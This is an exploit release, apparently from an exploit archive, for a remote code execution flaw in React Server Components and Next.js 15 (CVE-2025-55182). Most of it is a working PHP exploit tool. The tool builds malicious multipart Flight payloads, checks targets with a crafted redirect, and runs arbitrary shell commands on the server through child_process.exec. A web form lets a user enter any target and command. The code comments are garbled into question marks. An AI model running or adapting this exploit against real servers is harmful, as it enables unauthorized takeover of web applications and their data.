Next.js 15 Remote Code Execution
=============================================================================================================================================
| # Title Next.js 15 Remote Code Execution
=============================================================================================================================================
| # Title : Next.js 15 RCE Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://nextjs.org/blog/next-15 |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/212599/ & CVE-2025-55182, CVE-2025-66478
[+] Summary : A PHP-based proof-of-concept implementation demonstrating the critical Remote Code Execution vulnerability in React Server Components (RSC) Flight protocol, affecting React and Next.js applications
[+] POC : http://127.0.0.1/poc.php
<?php
class ReactRCEExploit {
private $targetUrl;
private $userAgent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36';
public function __construct($targetUrl) {
$this->targetUrl = rtrim($targetUrl, '/');
}
/**
* ???? ??? Multipart ????
*/
private function buildMaliciousChunk($refIdx, $reason, $getToken, $nodePayload) {
$data = [
'then' => "\${$refIdx}:then",
'status' => 'resolved_model',
'reason' => $reason,
'value' => json_encode(['then' => '$B']),
'_response' => [
'_prefix' => $nodePayload,
'_formData' => [
'get' => "\${$refIdx}:{$getToken}:constructor"
]
]
];
return json_encode($data);
}
/**
* ?????? ??? ???? ???????
*/
private function getRandomValue() {
$values = ['""', '{}', '[]', 'null', 'undefined', 'true', 'false'];
$randomString = bin2hex(random_bytes(8));
$values[] = "\"{$randomString}\"";
return $values[array_rand($values)];
}
/**
* ???? ?????? POST
*/
private function buildPostData($nodePayload) {
$randomReason = -rand(1, 9);
$randomRefIdx = rand(0, 9);
$getTokens = ['then', 'constructor'];
$randomGetToken = $getTokens[array_rand($getTokens)];
// ???? ????? ??????
$chunk = $this->buildMaliciousChunk(
$randomRefIdx,
$randomReason,
$randomGetToken,
$nodePayload
);
// ???? ?????? multipart
$boundary = '----WebKitFormBoundary' . bin2hex(random_bytes(16));
$data = "--{$boundary}\r\n";
$data .= "Content-Disposition: form-data; name=\"0\"\r\n\r\n";
$data .= $chunk . "\r\n";
$cycleLength = rand($randomRefIdx, 9);
for ($i = 1; $i <= $cycleLength; $i++) {
$value = ($i == $randomRefIdx) ? "\"\$@{$randomRefIdx}\"" : $this->getRandomValue();
$data .= "--{$boundary}\r\n";
$data .= "Content-Disposition: form-data; name=\"{$i}\"\r\n\r\n";
$data .= $value . "\r\n";
}
$data .= "--{$boundary}--\r\n";
return [
'data' => $data,
'boundary' => $boundary
];
}
/**
* ????? ???????
*/
public function sendPayload($nodePayload) {
$postData = $this->buildPostData($nodePayload);
$headers = [
'Next-Action: ',
'Content-Type: multipart/form-data; boundary=' . $postData['boundary'],
'User-Agent: ' . $this->userAgent
];
$context = stream_context_create([
'http' => [
'method' => 'POST',
'header' => implode("\r\n", $headers),
'content' => $postData['data'],
'ignore_errors' => true
]
]);
$response = @file_get_contents($this->targetUrl, false, $context);
if ($response === false) {
return [
'success' => false,
'error' => 'Failed to connect to target'
];
}
// ??????? ??????? ?????????
$httpResponse = $http_response_header;
$statusCode = $this->extractStatusCode($httpResponse);
return [
'success' => true,
'status' => $statusCode,
'headers' => $httpResponse,
'body' => $response
];
}
/**
* ??????? ??? ?????? ?? ?????????
*/
private function extractStatusCode($headers) {
foreach ($headers as $header) {
if (preg_match('/HTTP\/\d\.\d\s+(\d+)/', $header, $matches)) {
return (int)$matches[1];
}
}
return 0;
}
/**
* ?????? ?? ???? ??????
*/
public function checkVulnerability() {
$randomId = bin2hex(random_bytes(8));
$nodePayload = "throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`NEXT_REDIRECT;push;/{$randomId};307;`});";
$response = $this->sendPayload($nodePayload);
if (!$response['success']) {
return "Failed to connect to target";
}
if ($response['status'] == 303) {
$headersText = implode("\n", $response['headers']);
if (strpos($headersText, "/{$randomId};push") !== false) {
return "Vulnerable! The target appears to be exploitable.";
}
}
return "The target does not appear to be vulnerable.";
}
/**
* ????? ?????
*/
public function executeCommand($command) {
// ????? ????? (??? ???? ???? ?? ?????? ????? ??? ???? ?? ???????)
$escapedCommand = escapeshellcmd($command);
$nodePayload = "process.mainModule.require('child_process').exec(\"{$escapedCommand}\",{detached:true,stdio:'ignore'},function(){});";
return $this->sendPayload($nodePayload);
}
}
// ???? ??? ?????????
if (isset($_GET['test'])) {
header('Content-Type: text/plain; charset=utf-8');
$target = isset($_GET['target']) ? $_GET['target'] : 'http://localhost:3000';
$exploit = new ReactRCEExploit($target);
if (isset($_GET['cmd'])) {
// ????? ????? (?????? ???????? ???)
$result = $exploit->executeCommand($_GET['cmd']);
echo "Command Execution Result:\n";
print_r($result);
} else {
// ?????? ?? ??????
echo "Checking vulnerability...\n";
echo $exploit->checkVulnerability();
}
exit;
}
?>
<!DOCTYPE html>
<html>
<head>
<title>React RCE Test Tool</title>
<meta charset="utf-8">
</head>
<body>
<h1>React RCE Vulnerability Test</h1>
<p><strong>Warning:</strong> For authorized security testing only!</p>
<form method="GET">
<input type="hidden" name="test" value="1">
<label for="target">Target URL:</label><br>
<input type="text" id="target" name="target"
value="http://localhost:3000" size="50"><br><br>
<label for="cmd">Command to execute (optional):</label><br>
<input type="text" id="cmd" name="cmd"
placeholder="id" size="50"><br><br>
<input type="submit" value="Test Vulnerability">
</form>
<h2>Usage Examples:</h2>
<ul>
<li>Just check: <code>?test=1&target=http://example.com</code></li>
<li>Test with command: <code>?test=1&target=http://example.com&cmd=whoami</code></li>
</ul>
</body>
</html>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================